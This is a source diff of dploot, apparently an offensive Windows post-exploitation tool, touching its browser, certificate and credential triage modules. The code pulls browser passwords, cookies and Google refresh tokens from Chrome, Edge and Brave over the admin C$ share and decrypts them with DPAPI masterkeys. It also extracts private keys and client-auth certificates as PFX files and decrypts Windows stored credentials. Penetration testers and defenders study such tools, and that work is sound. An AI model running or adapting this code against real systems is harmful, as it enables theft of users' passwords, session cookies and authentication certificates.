'webDataPath':'Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data', - 'cookiesDataPath':[ - 'Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Cookies', - 'Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Network\\Cookies' - ] + "aesStateKeyPath": "Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", + "loginDataPath": "Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data", + "webDataPath": "Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Web Data", + "cookiesDataPath": [ + "Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Cookies", + "Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Network\\Cookies", + ], } user_brave_generic_login_path = { - 'aesStateKeyPath':'Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Local State', - 'loginDataPath':'Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Login Data', - 'webDataPath':'Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data', - 'cookiesDataPath':[ - 'Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Cookies', - 'Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Network\\Cookies' - ] + "aesStateKeyPath": "Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Local State", + "loginDataPath": "Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Login Data", + "webDataPath": "Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Web Data", + "cookiesDataPath": [ + "Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Cookies", + "Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Network\\Cookies", + ], } user_generic_chrome_paths = { - 'google chrome':user_google_chrome_generic_login_path, - 'msedge':user_msedge_generic_login_path, - 'brave':user_brave_generic_login_path, + "google chrome": user_google_chrome_generic_login_path, + "msedge": user_msedge_generic_login_path, + "brave": user_brave_generic_login_path, } - share = 'C$' + share = "C$" - def __init__(self, target: Target, conn: DPLootSMBConnection, masterkeys: List[Masterkey]) -> None: + def __init__( + self, + target: Target, + conn: DPLootSMBConnection, + masterkeys: List[Masterkey], + per_secret_callback: Any = None, + ) -> None: self.target = target self.conn = conn - + self._users = None - self.looted_files = dict() + self.looted_files = {} self.masterkeys = masterkeys - def triage_browsers(self, gather_cookies:bool = False) -> Tuple[List[LoginData], List[Cookie]]: - credentials = list() - cookies = list() + self.per_secret_callback = per_secret_callback + + def triage_browsers( + self, gather_cookies: bool = False, bypass_shared_violation: bool = False + ) -> Tuple[List[LoginData], List[Cookie]]: + credentials = [] + cookies = [] for user in self.users: try: - user_credentials, user_cookies=self.triage_browsers_for_user(user, gather_cookies) + user_credentials, user_cookies = self.triage_browsers_for_user( + user, + gather_cookies, + bypass_shared_violation=bypass_shared_violation, + ) credentials += user_credentials cookies += user_cookies except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback + traceback.print_exc() logging.debug(str(e)) - pass return credentials, cookies - def triage_browsers_for_user(self, user: str, gather_cookies:bool = False) -> Tuple[List[LoginData], List[Cookie]]: - return self.triage_chrome_browsers_for_user(user=user, gather_cookies=gather_cookies) + def triage_browsers_for_user( + self, + user: str, + gather_cookies: bool = False, + bypass_shared_violation: bool = False, + ) -> Tuple[List[LoginData], List[Cookie]]: + return self.triage_chrome_browsers_for_user( + user=user, + gather_cookies=gather_cookies, + bypass_shared_violation=bypass_shared_violation, + ) - def triage_chrome_browsers_for_user(self,user:str, gather_cookies:bool = False) -> Tuple[List[LoginData], List[Cookie]]: - credentials = list() - cookies = list() - for browser,paths in self.user_generic_chrome_paths.items(): + def triage_chrome_browsers_for_user( + self, + user: str, + gather_cookies: bool = False, + bypass_shared_violation: bool = False, + ) -> Tuple[List[LoginData], List[Cookie]]: + credentials = [] + cookies = [] + for browser, paths in self.user_generic_chrome_paths.items(): aeskey = None - aesStateKey_bytes = self.conn.readFile(shareName=self.share, path=paths['aesStateKeyPath'] % user, bypass_shared_violation=True) + aesStateKey_bytes = self.conn.readFile( + shareName=self.share, + path=paths["aesStateKeyPath"] % user, + bypass_shared_violation=bypass_shared_violation, + looted_files=self.looted_files + ) if aesStateKey_bytes is not None and len(aesStateKey_bytes) > 0: - logging.debug('Found %s AppData files for user %s' % (browser.upper(), user)) + logging.debug( + f"Found {browser.upper()} AppData files for user {user}" + ) aesStateKey_json = json.loads(aesStateKey_bytes) - blob = base64.b64decode(aesStateKey_json['os_crypt']['encrypted_key']) - if blob[:5] == b'DPAPI': + blob = base64.b64decode(aesStateKey_json["os_crypt"]["encrypted_key"]) + if blob[:5] == b"DPAPI": dpapi_blob = blob[5:] - masterkey = find_masterkey_for_blob(dpapi_blob, masterkeys=self.masterkeys) + masterkey = find_masterkey_for_blob( + dpapi_blob, masterkeys=self.masterkeys + ) if masterkey is not None: - aeskey = decrypt_blob(blob_bytes=dpapi_blob, masterkey=masterkey) + aeskey = decrypt_blob( + blob_bytes=dpapi_blob, masterkey=masterkey + ) - loginData_bytes = self.conn.readFile(shareName=self.share, path=paths['loginDataPath'] % user, bypass_shared_violation=True) - if aeskey is not None and loginData_bytes is not None and len(loginData_bytes) > 0: + loginData_bytes = self.conn.readFile( + shareName=self.share, + path=paths["loginDataPath"] % user, + bypass_shared_violation=bypass_shared_violation, + looted_files=self.looted_files + ) + if ( + aeskey is not None + and loginData_bytes is not None + and len(loginData_bytes) > 0 + ): fh = tempfile.NamedTemporaryFile() fh.write(loginData_bytes) fh.seek(0) db = sqlite3.connect(fh.name) cursor = db.cursor() query = cursor.execute( - 'SELECT action_url, username_value, password_value FROM logins') + "SELECT action_url, username_value, password_value FROM logins" + ) lines = query.fetchall() if len(lines) > 0: for url, username, encrypted_password in lines: password = decrypt_chrome_password(encrypted_password, aeskey) - credentials.append(LoginData( - winuser=user, - browser=browser, - url=url, - username=username, - password=password)) + login_data_decrypted = LoginData( + winuser=user, + browser=browser, + url=url, + username=username, + password=password, + ) + credentials.append(login_data_decrypted) + if self.per_secret_callback is not None: + self.per_secret_callback(login_data_decrypted) fh.close() if gather_cookies: - for cookiepath in paths['cookiesDataPath']: - cookiesData_bytes = self.conn.readFile(shareName=self.share, path=cookiepath % user, bypass_shared_violation=True) - if aeskey is not None and cookiesData_bytes is not None and len(cookiesData_bytes) > 0: + for cookiepath in paths["cookiesDataPath"]: + cookiesData_bytes = self.conn.readFile( + shareName=self.share, + path=cookiepath % user, + bypass_shared_violation=bypass_shared_violation, + looted_files=self.looted_files + ) + if ( + aeskey is not None + and cookiesData_bytes is not None + and len(cookiesData_bytes) > 0 + ): fh = tempfile.NamedTemporaryFile() fh.write(cookiesData_bytes) fh.seek(0) db = sqlite3.connect(fh.name) cursor = db.cursor() query = cursor.execute( - 'SELECT creation_utc, host_key, name, path, expires_utc, last_access_utc, encrypted_value FROM cookies') + "SELECT creation_utc, host_key, name, path, expires_utc, last_access_utc, encrypted_value FROM cookies" + ) lines = query.fetchall() if len(lines) > 0: - for creation_utc, host, name, path, expires_utc, last_access_utc, encrypted_cookie in lines: - cookie = decrypt_chrome_password(encrypted_cookie, aeskey) - cookies.append(Cookie( + for ( + creation_utc, + host, + name, + path, + expires_utc, + last_access_utc, + encrypted_cookie, + ) in lines: + decrypted_cookie_value = decrypt_chrome_password( + encrypted_cookie, aeskey + ) + cookie = Cookie( winuser=user, browser=browser, host=host, path=path, cookie_name=name, - cookie_value=cookie, + cookie_value=decrypted_cookie_value, creation_utc=creation_utc, expires_utc=expires_utc, - last_access_utc=last_access_utc)) + last_access_utc=last_access_utc, + ) + cookies.append(cookie) + if self.per_secret_callback is not None: + self.per_secret_callback(cookie) fh.close() - webData_bytes = self.conn.readFile(shareName=self.share, path=paths['webDataPath'] % user, bypass_shared_violation=True) - if aeskey is not None and webData_bytes is not None and len(webData_bytes) > 0: + webData_bytes = self.conn.readFile( + shareName=self.share, + path=paths["webDataPath"] % user, + bypass_shared_violation=bypass_shared_violation, + looted_files=self.looted_files + ) + if ( + aeskey is not None + and webData_bytes is not None + and len(webData_bytes) > 0 + ): fh = tempfile.NamedTemporaryFile() fh.write(webData_bytes) fh.seek(0) db = sqlite3.connect(fh.name) cursor = db.cursor() - query = cursor.execute('SELECT service, encrypted_token FROM token_service') + query = cursor.execute( + "SELECT service, encrypted_token FROM token_service" + ) lines = query.fetchall() if len(lines) > 0: for service, encrypted_grt in lines: token = decrypt_chrome_password(encrypted_grt, aeskey) - credentials.append(GoogleRefreshToken( - winuser=user, - browser=browser, - service=service, - token = token - )) + google_refresh_token = GoogleRefreshToken( + winuser=user, browser=browser, service=service, token=token + ) + credentials.append(google_refresh_token) + if self.per_secret_callback is not None: + self.per_secret_callback(google_refresh_token) return credentials, cookies @property def users(self) -> List[str]: if self._users is not None: return self._users - - users = list() - - users_dir_path = 'Users\\*' - directories = self.conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path)) - for d in directories: - if d.get_longname() not in self.false_positive and d.is_directory() > 0: - users.append(d.get_longname()) - - self._users = users - - return self._users \ No newline at end of file + + self._users = self.conn.list_users(self.share) + + return self._users diff --git a/dploot/triage/certificates.py b/dploot/triage/certificates.py index 410d000..9c653db 100755 --- a/dploot/triage/certificates.py +++ b/dploot/triage/certificates.py @@ -1,18 +1,26 @@ import hashlib import logging import ntpath -from typing import Dict, List, Tuple +import os +from typing import Any, Dict, List, Tuple from dataclasses import dataclass from impacket.dcerpc.v5 import rrp from impacket.system_errors import ERROR_NO_MORE_ITEMS +from impacket.winregistry import Registry from Cryptodome.PublicKey import RSA from cryptography import x509 from cryptography.hazmat._oid import ExtensionOID from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives.asymmetric.types import PrivateKeyTypes -from cryptography.hazmat.primitives.serialization import Encoding, NoEncryption, pkcs12, PublicFormat, load_der_private_key +from cryptography.hazmat.primitives.serialization import ( + Encoding, + NoEncryption, + pkcs12, + PublicFormat, + load_der_private_key, +) from pyasn1.codec.der import decoder from pyasn1.type.char import UTF8String @@ -25,6 +33,7 @@ PRINCIPAL_NAME = x509.ObjectIdentifier("1.3.6.1.4.1.311.20.2.3") + @dataclass class Certificate: winuser: str @@ -36,24 +45,34 @@ class Certificate: clientauth: bool def dump(self) -> None: - print('Issuer:\t\t\t%s' % str(self.cert.issuer.rfc4514_string())) - print('Subject:\t\t%s' % str(self.cert.subject.rfc4514_string())) - print('Valid Date:\t\t%s' % self.cert.not_valid_before) - print('Expiry Date:\t\t%s' % self.cert.not_valid_after) - print('Extended Key Usage:') - for i in self.cert.extensions.get_extension_for_oid(oid=ExtensionOID.EXTENDED_KEY_USAGE).value: - print('\t%s (%s)'%(i._name, i.dotted_string)) - - if self.clientauth: + print("Issuer:\t\t\t%s" % str(self.cert.issuer.rfc4514_string())) + print("Subject:\t\t%s" % str(self.cert.subject.rfc4514_string())) + print("Valid Date:\t\t%s" % self.cert.not_valid_before) + print("Expiry Date:\t\t%s" % self.cert.not_valid_after) + print("Extended Key Usage:") + for i in self.cert.extensions.get_extension_for_oid( + oid=ExtensionOID.EXTENDED_KEY_USAGE + ).value: + print(f"\t{i._name} ({i.dotted_string})") + + if self.clientauth: print("\t[!] Certificate is used for client auth!") print() - print((self.cert.public_bytes(Encoding.PEM).decode('utf-8'))) + print(self.cert.public_bytes(Encoding.PEM).decode("utf-8")) print() -class CertificatesTriage: - false_positive = ['.','..', 'desktop.ini','Public','Default','Default User','All Users'] +class CertificatesTriage: + false_positive = [ + ".", + "..", + "desktop.ini", + "Public", + "Default", + "Default User", + "All Users", + ] system_capi_keys_generic_path = [ "ProgramData\\Microsoft\\Crypto\\RSA", "Windows\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", @@ -64,135 +83,242 @@ class CertificatesTriage: "Windows\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Crypto\\Keys", ] user_capi_keys_generic_path = [ - 'Users\\%s\\AppData\\Roaming\\Microsoft\\Crypto\\RSA', + "Users\\%s\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", ] user_cng_keys_generic_path = [ - 'Users\\%s\\AppData\\Roaming\\Microsoft\\Crypto\\Keys', + "Users\\%s\\AppData\\Roaming\\Microsoft\\Crypto\\Keys", ] user_mycertificates_generic_path = [ - 'Users\\%s\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates' + "Users\\%s\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates" ] - share = 'C$' + share = "C$" - def __init__(self, target: Target, conn: DPLootSMBConnection, masterkeys: List[Masterkey]) -> None: + def __init__( + self, + target: Target, + conn: DPLootSMBConnection, + masterkeys: List[Masterkey], + per_certificate_callback: Any = None, + ) -> None: self.target = target self.conn = conn - + self._users = None - self.looted_files = dict() + self.looted_files = {} self.masterkeys = masterkeys + self.per_certificate_callback = per_certificate_callback + def triage_system_certificates(self) -> List[Certificate]: logging.getLogger("impacket").disabled = True - self.conn.enable_remoteops() + if self.conn.local_session: + self.conn.enable_localops( + os.path.join(self.target.local_root, r"Windows/System32/config/SYSTEM") + ) + else: + self.conn.enable_remoteops() certificates = [] pkeys = self.loot_privatekeys() certs = self.loot_system_certificates() if len(pkeys) > 0 and len(certs) > 0: - certificates = self.correlate_certificates_and_privatekeys(certs=certs, private_keys=pkeys, winuser='SYSTEM') + certificates = self.correlate_certificates_and_privatekeys( + certs=certs, private_keys=pkeys, winuser="SYSTEM" + ) return certificates - def loot_system_certificates(self) -> Dict[str,x509.Certificate]: - my_certificates_key = 'SOFTWARE\\Microsoft\\SystemCertificates\\MY\\Certificates' - ans = rrp.hOpenLocalMachine(self.conn.remote_ops._RemoteOperations__rrp) - regHandle = ans['phKey'] + def loot_system_certificates(self) -> Dict[str, x509.Certificate]: + my_certificates_key = ( + "SOFTWARE\\Microsoft\\SystemCertificates\\MY\\Certificates" + ) certificate_keys = [] certificates = {} - ans = rrp.hBaseRegOpenKey(self.conn.remote_ops._RemoteOperations__rrp, regHandle, my_certificates_key, samDesired=rrp.KEY_ENUMERATE_SUB_KEYS) - keyHandle = ans['phkResult'] - i = 0 - while True: - try: - enum_ans = rrp.hBaseRegEnumKey(self.conn.remote_ops._RemoteOperations__rrp, keyHandle, i) - certificate_keys.append(enum_ans['lpNameOut'][:-1]) - i += 1 - except rrp.DCERPCSessionError as e: - if e.get_error_code() == ERROR_NO_MORE_ITEMS: - break - except Exception as e: - import traceback - traceback.print_exc() - logging.error(str(e)) - rrp.hBaseRegCloseKey(self.conn.remote_ops._RemoteOperations__rrp, keyHandle) - - for certificate_key in certificate_keys: - try: - regKey = my_certificates_key + '\\' + certificate_key - ans = rrp.hBaseRegOpenKey(self.conn.remote_ops._RemoteOperations__rrp, regHandle, regKey) - keyHandle = ans['phkResult'] - _, certblob_bytes = rrp.hBaseRegQueryValue(self.conn.remote_ops._RemoteOperations__rrp, keyHandle, 'Blob') - logging.debug("Found Certificates Blob: \\\\%s\\%s" % (self.target.address,regKey)) + if self.conn.local_session: + # open hive + reg_file_path = os.path.join( + self.target.local_root, r"Windows/System32/config/SOFTWARE" + ) + reg = Registry(reg_file_path, isRemote=False) + + # open key + key_path = my_certificates_key[8:] + parentKey = reg.findKey(key_path) + if parentKey is None: + logging.error(f"Key {key_path} not found in {reg_file_path}") + return certificates + # for each certificate subkey (such as Microsoft\SystemCertificates\MY\Certificates\3FD2...) + for certificate_key in reg.enumKey(parentKey): + # get 'Blob' value + (_, certblob_bytes) = reg.getValue( + ntpath.join(key_path, certificate_key, "Blob") + ) + logging.debug( + f"Found Certificates Blob: \\\\{self.target.address}\\{ntpath.join(my_certificates_key, certificate_key)}" + ) certblob = CERTBLOB(certblob_bytes) - if certblob.der is not None: - cert = self.der_to_cert(certblob.der) - certificates[certificate_key] = cert - rrp.hBaseRegCloseKey(self.conn.remote_ops._RemoteOperations__rrp, keyHandle) - except Exception as e: - if logging.getLogger().level == logging.DEBUG: + if certblob.der is None: + continue + + # store in certificates dict + cert = self.der_to_cert(certblob.der) + certificates[certificate_key] = cert + reg.close() + else: + ans = rrp.hOpenLocalMachine(self.conn.remote_ops._RemoteOperations__rrp) + regHandle = ans["phKey"] + + ans = rrp.hBaseRegOpenKey( + self.conn.remote_ops._RemoteOperations__rrp, + regHandle, + my_certificates_key, + samDesired=rrp.KEY_ENUMERATE_SUB_KEYS, + ) + keyHandle = ans["phkResult"] + i = 0 + while True: + try: + enum_ans = rrp.hBaseRegEnumKey( + self.conn.remote_ops._RemoteOperations__rrp, keyHandle, i + ) + certificate_keys.append(enum_ans["lpNameOut"][:-1]) + i += 1 + except rrp.DCERPCSessionError as e: + if e.get_error_code() == ERROR_NO_MORE_ITEMS: + break + except Exception as e: import traceback + traceback.print_exc() - logging.debug(str(e)) + logging.error(str(e)) + rrp.hBaseRegCloseKey(self.conn.remote_ops._RemoteOperations__rrp, keyHandle) + + for certificate_key in certificate_keys: + try: + regKey = my_certificates_key + "\\" + certificate_key + ans = rrp.hBaseRegOpenKey( + self.conn.remote_ops._RemoteOperations__rrp, regHandle, regKey + ) + keyHandle = ans["phkResult"] + _, certblob_bytes = rrp.hBaseRegQueryValue( + self.conn.remote_ops._RemoteOperations__rrp, keyHandle, "Blob" + ) + logging.debug( + f"Found Certificates Blob: \\\\{self.target.address}\\{regKey}" + ) + certblob = CERTBLOB(certblob_bytes) + if certblob.der is not None: + cert = self.der_to_cert(certblob.der) + certificates[certificate_key] = cert + rrp.hBaseRegCloseKey( + self.conn.remote_ops._RemoteOperations__rrp, keyHandle + ) + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + + traceback.print_exc() + logging.debug(str(e)) return certificates def triage_certificates(self) -> List[Certificate]: certificates = [] for user in self.users: try: - certificates += self.triage_certificates_for_user(user=user) + certificates += self.triage_certificates_for_user(user=user) except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback + traceback.print_exc() logging.debug(str(e)) - pass return certificates def triage_certificates_for_user(self, user: str) -> List[Certificate]: certificates = [] - pkeys = self.loot_privatekeys(privatekeys_paths=[elem % user for elem in self.user_capi_keys_generic_path]) - certs = self.loot_certificates(certificates_paths=[elem % user for elem in self.user_mycertificates_generic_path]) + pkeys = self.loot_privatekeys( + privatekeys_paths=[elem % user for elem in self.user_capi_keys_generic_path] + ) + certs = self.loot_certificates( + certificates_paths=[ + elem % user for elem in self.user_mycertificates_generic_path + ] + ) if len(pkeys) > 0 and len(certs) > 0: - certificates = self.correlate_certificates_and_privatekeys(certs=certs, private_keys=pkeys, winuser=user) + certificates = self.correlate_certificates_and_privatekeys( + certs=certs, private_keys=pkeys, winuser=user + ) return certificates - - def loot_privatekeys(self, privatekeys_paths: List[str] = system_capi_keys_generic_path) -> Dict[str, Tuple[str,RSA.RsaKey]]: + def loot_privatekeys( + self, privatekeys_paths: List[str] = system_capi_keys_generic_path + ) -> Dict[str, Tuple[str, RSA.RsaKey]]: pkeys = {} pkeys_dirs = self.conn.listDirs(self.share, privatekeys_paths) - for pkeys_path,pkeys_dir in pkeys_dirs.items(): + for pkeys_path, pkeys_dir in pkeys_dirs.items(): if pkeys_dir is not None: for d in pkeys_dir: - if d not in self.false_positive and d.is_directory()>0 and (d.get_longname()[:2] == 'S-' or d.get_longname() == 'MachineKeys'): + if ( + d not in self.false_positive + and d.is_directory() > 0 + and ( + d.get_longname()[:2] == "S-" + or d.get_longname() == "MachineKeys" + ) + ): sid = d.get_longname() - pkeys_sid_path = ntpath.join(pkeys_path,sid) - pkeys_sid_dir = self.conn.remote_list_dir(self.share, path=pkeys_sid_path) + pkeys_sid_path = ntpath.join(pkeys_path, sid) + pkeys_sid_dir = self.conn.remote_list_dir( + self.share, path=pkeys_sid_path + ) for file in pkeys_sid_dir: - if file.is_directory() == 0 and is_certificate_guid(file.get_longname()): + if file.is_directory() == 0 and is_certificate_guid( + file.get_longname() + ): pkey_guid = file.get_longname() - filepath = ntpath.join(pkeys_sid_path,pkey_guid) - logging.debug("Found PrivateKey Blob: \\\\%s\\%s\\%s" % (self.target.address,self.share,filepath)) - pkey_bytes = self.conn.readFile(self.share, filepath) - if pkey_bytes is not None and self.masterkeys is not None: - self.looted_files[pkey_guid] = pkey_bytes - masterkey = find_masterkey_for_privatekey_blob(pkey_bytes, masterkeys=self.masterkeys) - if masterkey is not None: - pkey = decrypt_privatekey(privatekey_bytes=pkey_bytes, masterkey=masterkey) - pkeys[hashlib.md5(pkey.public_key().export_key('DER')).hexdigest()] = (pkey_guid,pkey) + filepath = ntpath.join(pkeys_sid_path, pkey_guid) + logging.debug( + f"Found PrivateKey Blob: \\\\{self.target.address}\\{self.share}\\{filepath}" + ) + pkey_bytes = self.conn.readFile(self.share, filepath, looted_files=self.looted_files) + if ( + pkey_bytes is not None + and self.masterkeys is not None + ): + try: + masterkey = find_masterkey_for_privatekey_blob( + pkey_bytes, masterkeys=self.masterkeys + ) + if masterkey is not None: + pkey = decrypt_privatekey( + privatekey_bytes=pkey_bytes, + masterkey=masterkey, + ) + pkeys[ + hashlib.md5( + pkey.public_key().export_key("DER") + ).hexdigest() + ] = (pkey_guid, pkey) + except Exception as e: + logging.debug( + f"Exception encountered in {__name__}: {e}." + ) return pkeys - def loot_certificates(self, certificates_paths: List[str]) -> Dict[str, x509.Certificate]: + def loot_certificates( + self, certificates_paths: List[str] + ) -> Dict[str, x509.Certificate]: certificates = {} certificates_dir = self.conn.listDirs(self.share, certificates_paths) - for cert_dir_path,cert_dir in certificates_dir.items(): + for cert_dir_path, cert_dir in certificates_dir.items(): if cert_dir is not None: for cert in cert_dir: - if cert not in self.false_positive and cert.is_directory()==0: + if cert not in self.false_positive and cert.is_directory() == 0: try: certname = cert.get_longname() certpath = ntpath.join(cert_dir_path, certname) - logging.debug("Found Certificates Blob: \\\\%s\\%s\\%s" % (self.target.address,self.share,certpath)) - certbytes = self.conn.readFile(self.share, certpath) - self.looted_files[certname] = certbytes + logging.debug( + f"Found Certificates Blob: \\\\{self.target.address}\\{self.share}\\{certpath}" + ) + certbytes = self.conn.readFile(self.share, certpath, looted_files=self.looted_files) certblob = CERTBLOB(certbytes) if certblob.der is not None: cert = self.der_to_cert(certblob.der) @@ -201,32 +327,66 @@ def loot_certificates(self, certificates_paths: List[str]) -> Dict[str, x509.Cer pass return certificates - def correlate_certificates_and_privatekeys(self, certs: Dict[str, x509.Certificate], private_keys: Dict[str, Tuple[str,RSA.RsaKey]], winuser: str) -> List[Certificate]: + def correlate_certificates_and_privatekeys( + self, + certs: Dict[str, x509.Certificate], + private_keys: Dict[str, Tuple[str, RSA.RsaKey]], + winuser: str, + ) -> List[Certificate]: certificates = [] for name, cert in certs.items(): - if hashlib.md5(cert.public_key().public_bytes(Encoding.DER, PublicFormat.SubjectPublicKeyInfo)).hexdigest() in private_keys.keys(): + if ( + hashlib.md5( + cert.public_key().public_bytes( + Encoding.DER, PublicFormat.SubjectPublicKeyInfo + ) + ).hexdigest() + in private_keys + ): # Matching public and private key - pkey = private_keys[hashlib.md5(cert.public_key().public_bytes(Encoding.DER, PublicFormat.SubjectPublicKeyInfo)).hexdigest()] - logging.debug("Found match between %s certificate and %s private key !" % (name, pkey[0])) - key = load_der_private_key(pkey[1].export_key('DER'), password=None) - pfx = self.create_pfx(key=key,cert=cert) + pkey = private_keys[ + hashlib.md5( + cert.public_key().public_bytes( + Encoding.DER, PublicFormat.SubjectPublicKeyInfo + ) + ).hexdigest() + ] + logging.debug( + f"Found match between {name} certificate and {pkey[0]} private key !" + ) + key = load_der_private_key(pkey[1].export_key("DER"), password=None) + pfx = self.create_pfx(key=key, cert=cert) # TODO CAN BE NULL self.get_id_from_certificate(certificate=cert)[1] - username = self.get_id_from_certificate(certificate=cert)[1].replace('@','_') + username = self.get_id_from_certificate(certificate=cert)[1].replace( + "@", "_" + ) clientauth = False - for i in cert.extensions.get_extension_for_oid(oid=ExtensionOID.EXTENDED_KEY_USAGE).value: + for i in cert.extensions.get_extension_for_oid( + oid=ExtensionOID.EXTENDED_KEY_USAGE + ).value: if i.dotted_string in [ - '1.3.6.1.5.5.7.3.2', # Client Authentication - '1.3.6.1.5.2.3.4', # PKINIT Client Authentication - '1.3.6.1.4.1.311.20.2.2', # Smart Card Logon - '2.5.29.37.0', # Any Purpose + "1.3.6.1.5.5.7.3.2", # Client Authentication + "1.3.6.1.5.2.3.4", # PKINIT Client Authentication + "1.3.6.1.4.1.311.20.2.2", # Smart Card Logon + "2.5.29.37.0", # Any Purpose ]: clientauth = True break - - certificates.append(Certificate(winuser=winuser, cert=cert, pkey=key, pfx=pfx, username=username, filename=name, clientauth=clientauth)) + cert_object = Certificate( + winuser=winuser, + cert=cert, + pkey=key, + pfx=pfx, + username=username, + filename=name, + clientauth=clientauth, + ) + certificates.append(cert_object) + if self.per_certificate_callback is not None: + self.per_certificate_callback(cert_object) return certificates - def der_to_cert(self,certificate: bytes) -> x509.Certificate: + def der_to_cert(self, certificate: bytes) -> x509.Certificate: return x509.load_der_x509_certificate(certificate) def create_pfx(self, key: rsa.RSAPrivateKey, cert: x509.Certificate) -> bytes: @@ -238,7 +398,7 @@ def create_pfx(self, key: rsa.RSAPrivateKey, cert: x509.Certificate) -> bytes: encryption_algorithm=NoEncryption(), ) - def get_id_from_certificate(self,certificate: x509.Certificate) -> Tuple[str, str]: + def get_id_from_certificate(self, certificate: x509.Certificate) -> Tuple[str, str]: try: san = certificate.extensions.get_extension_for_oid( ExtensionOID.SUBJECT_ALTERNATIVE_NAME @@ -262,15 +422,7 @@ def get_id_from_certificate(self,certificate: x509.Certificate) -> Tuple[str, st def users(self) -> List[str]: if self._users is not None: return self._users - - users = list() - - users_dir_path = 'Users\\*' - directories = self.conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path)) - for d in directories: - if d.get_longname() not in self.false_positive and d.is_directory() > 0: - users.append(d.get_longname()) - - self._users = users - - return self._users \ No newline at end of file + + self._users = self.conn.list_users(self.share) + + return self._users diff --git a/dploot/triage/credentials.py b/dploot/triage/credentials.py index 6e4e9fc..4a298f3 100755 --- a/dploot/triage/credentials.py +++ b/dploot/triage/credentials.py @@ -11,6 +11,7 @@ from dploot.lib.utils import is_credfile from dploot.triage.masterkeys import Masterkey + @dataclass class Credential: winuser: str @@ -23,17 +24,24 @@ class Credential: def dump(self) -> None: self.credblob.dump() - + def dump_quiet(self) -> None: - print("[CREDENTIAL] %s - %s:%s" % (self.target, self.username, self.password)) + print(f"[CREDENTIAL] {self.target} - {self.username}:{self.password}") class CredentialsTriage: - - false_positive = ['.','..', 'desktop.ini','Public','Default','Default User','All Users'] + false_positive = [ + ".", + "..", + "desktop.ini", + "Public", + "Default", + "Default User", + "All Users", + ] user_credentials_generic_path = [ - 'Users\\%s\\AppData\\Local\\Microsoft\\Credentials', - 'Users\\%s\\AppData\\Roaming\\Microsoft\\Credentials', + "Users\\%s\\AppData\\Local\\Microsoft\\Credentials", + "Users\\%s\\AppData\\Roaming\\Microsoft\\Credentials", ] system_credentials_generic_path = [ @@ -42,83 +50,111 @@ class CredentialsTriage: "Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Microsoft\\Credentials", "Windows\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Credentials", "Windows\\ServiceProfiles\\NetworkService\\AppData\\Local\\Microsoft\\Credentials", - "Windows\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\Credentials" + "Windows\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\Credentials", ] - share = 'C$' - - def __init__(self, target: Target, conn: DPLootSMBConnection, masterkeys: List[Masterkey]) -> None: + share = "C$" + + def __init__( + self, + target: Target, + conn: DPLootSMBConnection, + masterkeys: List[Masterkey], + per_credential_callback: Any = None, + ) -> None: self.target = target self.conn = conn - + self._users = None - self.looted_files = dict() + self.looted_files = {} self.masterkeys = masterkeys + self.per_credential_callback = per_credential_callback + def triage_system_credentials(self) -> List[Credential]: - credentials = list() - credential_dirs = self.conn.listDirs(self.share, self.system_credentials_generic_path) - for system_credential_path,system_credential_dir in credential_dirs.items(): + credentials = [] + credential_dirs = self.conn.listDirs( + self.share, self.system_credentials_generic_path + ) + for system_credential_path, system_credential_dir in credential_dirs.items(): if system_credential_dir is not None: - credentials += self.triage_credentials_folder(credential_folder_path=system_credential_path,credential_folder=system_credential_dir, winuser='SYSTEM') + credentials += self.triage_credentials_folder( + credential_folder_path=system_credential_path, + credential_folder=system_credential_dir, + winuser="SYSTEM", + ) return credentials def triage_credentials(self) -> List[Credential]: - credentials = list() + credentials = [] for user in self.users: try: credentials += self.triage_credentials_for_user(user) except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback + traceback.print_exc() logging.debug(str(e)) - pass return credentials - def triage_credentials_for_user(self,user: str) -> List[Credential]: - credentials = list() - credential_dirs = self.conn.listDirs(self.share, [elem % user for elem in self.user_credentials_generic_path]) - for user_credential_path,user_credential_dir in credential_dirs.items(): + def triage_credentials_for_user(self, user: str) -> List[Credential]: + credentials = [] + credential_dirs = self.conn.listDirs( + self.share, [elem % user for elem in self.user_credentials_generic_path] + ) + for user_credential_path, user_credential_dir in credential_dirs.items(): if user_credential_dir is not None: - credentials += self.triage_credentials_folder(credential_folder_path=user_credential_path,credential_folder=user_credential_dir, winuser=user) + credentials += self.triage_credentials_folder( + credential_folder_path=user_credential_path, + 